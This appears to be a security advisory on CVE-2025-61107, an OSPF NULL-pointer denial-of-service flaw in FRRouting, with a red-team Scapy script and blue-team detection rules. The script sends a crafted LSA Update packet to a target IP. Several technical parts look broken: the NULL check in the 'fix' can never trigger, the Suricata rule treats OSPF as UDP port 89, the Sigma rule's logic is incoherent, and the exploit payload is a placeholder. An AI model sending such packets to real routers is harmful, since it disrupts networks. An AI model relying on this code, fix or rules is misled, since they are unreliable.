CVE-2025-61107

Executive Summary

CVE-2025-61107 is a critical Denial of Service (DoS) vulnerability in the FRRouting (FRR) open-source routing software suite, affecting versions from v4.0 through v10.4.1. The flaw resides in the show_vty_ext_pref_pref_sid function within ospf_ext.c, where a crafted OSPF LSA Update packet can trigger a NULL pointer dereference. This allows an unauthenticated, remote attacker to crash the OSPF daemon, disrupting routing operations and potentially causing network instability. No public exploit code or proof-of-concept is currently available, and no official patch has been released at the time of analysis.

Supply Chain & Package Security

FRRouting is a critical component in many network infrastructures, including enterprise routers, ISPs, and data centers. The vulnerability is introduced in the source code and affects all downstream distributions that package FRR. Organizations using FRR in production should treat this as a high-priority supply chain risk, as the OSPF daemon is often exposed to untrusted networks.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The vulnerability is easily exploitable remotely without authentication, making it a significant threat to network availability.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference in the OSPF (Open Shortest Path First) protocol implementation. The show_vty_ext_pref_pref_sid function is responsible for displaying extended prefix preference and Segment ID (SID) information via the VTY (Virtual Teletype) interface. When processing a specially crafted OSPF LSA (Link State Advertisement) Update packet, the function fails to properly validate a pointer before dereferencing it, leading to a segmentation fault.

The attack vector is the OSPF protocol itself, which typically runs on IP protocol 89. An attacker can send a malicious LSA Update packet to a vulnerable FRR router. The packet is processed by the OSPF daemon (ospfd), which eventually calls the vulnerable function. The NULL pointer dereference causes the daemon to crash, resulting in a loss of OSPF adjacency and routing table updates.

The root cause is insufficient input validation in the ospf_ext.c file. The function assumes that a certain data structure is always valid, but a crafted packet can cause it to be NULL.

Vulnerable vs. Patched Code

Vulnerable Code (ospf_ext.c, v10.4.1):

static void show_vty_ext_pref_pref_sid(struct vty *vty, struct ospf_lsa *lsa)
{
    struct ospf_ext_pref_sid *pref_sid;
    // ... other code ...
    pref_sid = (struct ospf_ext_pref_sid *) (lsa->data + sizeof(struct lsa_header));
    // Vulnerable: No NULL check on pref_sid before dereference
    vty_out(vty, "  Prefix SID: %u", pref_sid->value);
    // ...
}

Patched Code (Hypothetical Fix):

static void show_vty_ext_pref_pref_sid(struct vty *vty, struct ospf_lsa *lsa)
{
    struct ospf_ext_pref_sid *pref_sid;
    // ... other code ...
    pref_sid = (struct ospf_ext_pref_sid *) (lsa->data + sizeof(struct lsa_header));
    if (pref_sid == NULL) {
        vty_out(vty, "  Error: Invalid LSA data%s", VTY_NEWLINE);
        return;
    }
    vty_out(vty, "  Prefix SID: %u", pref_sid->value);
    // ...
}

The fix adds a NULL check before dereferencing the pointer, preventing the crash.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Victim: Ubuntu 22.04 VM with FRR v10.4.1 installed and OSPF configured.
2. Attacker: Kali Linux VM with Scapy or a custom Python script.
3. Network: Both VMs on the same subnet.

Exploitation Steps:

1. Identify the target FRR router's IP address.
2. Craft a malicious OSPF LSA Update packet using Scapy.
3. Send the packet to the target's OSPF interface.

Python Exploit Script (Conceptual):

#!/usr/bin/env python3
from scapy.all import *
import sys

def exploit(target_ip):
    # Build OSPF header
    ospf_hdr = IP(src="192.168.1.100", dst=target_ip)/OSPF_Hdr(type=4)  # Type 4 = LS Update
    # Build a malformed LSA that triggers the NULL pointer dereference
    # The exact payload would need to be reverse-engineered from the vulnerable code
    lsa_payload = b"\x00" * 20  # Placeholder for malformed LSA data
    packet = ospf_hdr / Raw(load=lsa_payload)
    send(packet, verbose=0)
    print(f"[+] Sent malicious OSPF packet to {target_ip}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Expected Outcome: The OSPF daemon on the target crashes, causing a DoS.

Blue Team

Detection:

• Monitor OSPF daemon logs for crashes (/var/log/frr/ospfd.log).
• Look for unexpected OSPF LSA Update packets with malformed data.
• Use network monitoring tools to detect anomalous OSPF traffic.

Mitigation:

• Apply access control lists (ACLs) to restrict OSPF peering to trusted IP addresses.
• Use OSPF authentication (MD5 or SHA) to prevent unauthorized updates.
• Implement rate limiting on OSPF packets.
• Monitor for sudden loss of OSPF adjacencies.

Indicators of Compromise (IOCs)

• Network:
  • OSPF packets with unusual LSA types or malformed data.
  • Sudden termination of OSPF adjacencies.
  • Repeated OSPF packets from an untrusted source.
• Host:
  • OSPF daemon crash logs (e.g., ospfd[1234]: segfault at 0 ip ...).
  • Core dump files from ospfd.
  • High CPU or memory usage by ospfd before crash.

Detection Engineering

YARA Rule

rule CVE_2025_61107_OSPF_NULL_PTR {
    meta:
        description = "Detects potential exploitation of CVE-2025-61107 in FRR OSPF daemon"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61107"
    strings:
        $ospf_ext = "ospf_ext.c" nocase
        $null_deref = { 48 8b 00 48 85 c0 74 ?? }  // mov rax, [rax]; test rax, rax; je ...
        $crash_sig = "segfault at 0" nocase
    condition:
        $ospf_ext or ($null_deref and $crash_sig)
}

Sigma Rule

title: CVE-2025-61107 OSPF Daemon Crash
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects OSPF daemon crash indicative of CVE-2025-61107 exploitation
author: Valters IT
date: 2025/04/10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/ospfd'
        CommandLine|contains: 'segfault'
    condition: selection
falsepositives:
    - Legitimate OSPF daemon crashes due to other bugs
level: high

Suricata Rule

alert udp $EXTERNAL_NET any -> $HOME_NET 89 (msg:"CVE-2025-61107 OSPF LSA Update NULL Pointer Dereference"; content:"|02 01 00 00|"; depth:4; offset:0; content:"|00 00 00 00|"; within:4; reference:cve,2025-61107; classtype:attempted-dos; sid:1000001; rev:1;)

Note: The Suricata rule is a placeholder and would need to be refined based on the exact malformed packet structure.

Remediation & Mitigation

1. Immediate: Disable OSPF on interfaces that do not require it. Use OSPF authentication (MD5 or SHA) to prevent unauthorized LSA updates.
2. Short-term: Apply access control lists (ACLs) to restrict OSPF peering to known, trusted IP addresses.
3. Long-term: Monitor the FRR project for an official patch. Once released, upgrade to a patched version (e.g., > v10.4.1). If no patch is available, consider applying a vendor-supplied hotfix or compiling FRR with the hypothetical fix described above.
4. Monitoring: Implement the detection rules provided in this report to identify potential exploitation attempts.

Valters IT Securing Networks, One Packet at a Time